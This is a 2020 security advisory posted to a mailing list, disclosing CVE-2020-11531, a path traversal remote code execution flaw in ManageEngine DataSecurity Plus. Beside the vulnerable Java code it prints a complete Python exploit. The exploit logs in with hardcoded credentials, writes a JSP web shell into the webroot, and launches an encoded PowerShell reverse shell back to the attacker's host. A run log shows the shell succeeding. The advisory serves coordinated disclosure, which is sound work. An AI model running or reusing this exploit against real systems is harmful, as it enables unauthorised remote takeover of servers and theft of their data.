DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal

From: xen1thLabs <xen1thLabs () digital14 com>
Date: Tue, 5 May 2020 16:49:36 +0000

~~~
XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal

===============================================================================



Identifiers

-------------------------------------------------

* CVE-2020-11531

* XL-20-001


CVSSv3 score

-------------------------------------------------

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Vendor

-------------------------------------------------

ManageEngine - [https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)


Product

-------------------------------------------------

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and
meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file
integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the
features such as File Server Audting, Data Leak Prevention and Data Risk assessment


Affected products

-------------------------------------------------

- All DataSecurity Plus versions prior to 6.0.1 (6011)

- All ADAudit Plus versions prior to 6.0.3 (6032)


Credit

-------------------------------------------------

Sahil Dhar - xen1thLabs - Software Labs


Vulnerability summary

-------------------------------------------------

ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not validate the database schema name when
handling `DR-SCHEMA-SYNC` request. This allows an authenticated attacker to execute code in the context of
DataSecurity
Plus application by writing a JSP file in the webroot directory using a directory traversal attack.


Technical details

------------------------------------------------

Upon receiving the `DR-SCHEMA-SYNC` request, the application calls the `syncDRSchemas()` function of
`DataRepositoryManager` class at line:109 of `DataRepositoryManager.java` from `dataengine-xnode.jar` package.


As can be seen at line:126 of function `syncDRSchemas()` , the function concatenates the name of database schema while
generating the filename dynamically and write the values passed in a JSON object to it.


```java

109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {

110:   JSONObject jResponse = new JSONObject();

111:   JSONObject jSchemas = request.drSchemaListObj();

112:   File schemasFolder = ((Path) Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();

113:   schemaMap = new ConcurrentHashMap();

114:   if (!schemasFolder.exists()) {

115:    schemasFolder.mkdirs();

116:   }

117:   if (schemasFolder.isDirectory()) {

118:    File[] schemaFileList = schemasFolder.listFiles();

119:    for (File schemaFile: schemaFileList) {

120:     schemaFile.delete();

121:    }
~~~

```
  }
  Iterator iterator = jSchemas.keys();
  while (iterator.hasNext()) {
   String key = (String) iterator.next();
   BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new
FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key));
   bw.write(jSchemas.getJSONObject(key).toString(2));
   bw.close();
   Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key));
   schemaMap.put(((DRSchema) schema).getSchemaName(), schema);
   LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
   }
   checkFieldWithMultipleDataTypes();
   jResponse.put("error_code", 0);
   return jResponse;
  }
```

Proof of concept

Using the following exploit code, we can observe that by sending a `DR-SCHEMA-SYNC` request to the DataEngine XNode
server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus
application
and execute arbitrary JAVA code.

```python
#!/usr/bin/env python
# Author: Sahil Dhar(@0x401)


import socket
import sys
import requests
import telnetlib
import threading
import os
from time import sleep
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def reverse_tcp_handler(lport):
                print("[+] Starting reverse handler on port %d" %(lport))
                t = telnetlib.Telnet()
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                s.bind(("0.0.0.0", lport))
                s.listen(1)
                conn, addr = s.accept()
                print("[+] Got connection from %s" % addr[0])
                t.sock = conn
                print("[+] whoami ?")
                t.write(b"whoami\n")
                t.interact()


def get_bytearray_payload(lhost,lport):
                cmd = "$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String
);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush()};$client.Close()"
                r_cmd = ""
                for c in cmd:
                                r_cmd += c
                                r_cmd += "\x00"
                payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' %
(b64encode(r_cmd.encode('utf-8'))).decode('utf-8')
                r = ""
                for i in payload:
                                r += str(ord(i))
                                r += ", "
                                r = r[0:-2]
                return r


def send_payload(rhost, rport, web_port, lhost, lport):
```

```
                auth = 
                '{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'
                shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list":
{"../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[]
{'+get_bytearray_payload(lhost, lport)+'})); %>"}}}'
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((rhost,int(rport)))
                s.send(auth.encode('utf-8'))
                sleep(1)
                s.send(shell.encode('utf-8'))
                print("[+] Triggering the shell...")
                r = requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" %(rhost, web_port))


def main():
                help="%s <rhost> <rport> <web_port> <lhost> <lport>" % (os.path.basename(__file__))
                if len(sys.argv) < 6:
                                print(help)
                                os._exit(1)
                disable_warnings()
                rhost = sys.argv[1]
                rport = int(sys.argv[2])
                web_port = int(sys.argv[3])
                lhost = sys.argv[4]
                lport = int(sys.argv[5])
                th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
                th.start()
                send_payload(rhost, rport, web_port, lhost, lport)


if __name__=="__main__":
                main()
```
```

```
```
#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>
```

Solution

-------------------------------------------------

Update the affected products to their latest version.

Timeline

-------------------------------------------------

```
Date        | Status
------------|-----------------------------
04-MAR-2020 | Reported to vendor
13-MAR-2020 | Patch available
05-MAY-2020 | Public disclosure
```

By Date By Thread

Current thread:

DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal ***xen1thLabs (May 08)***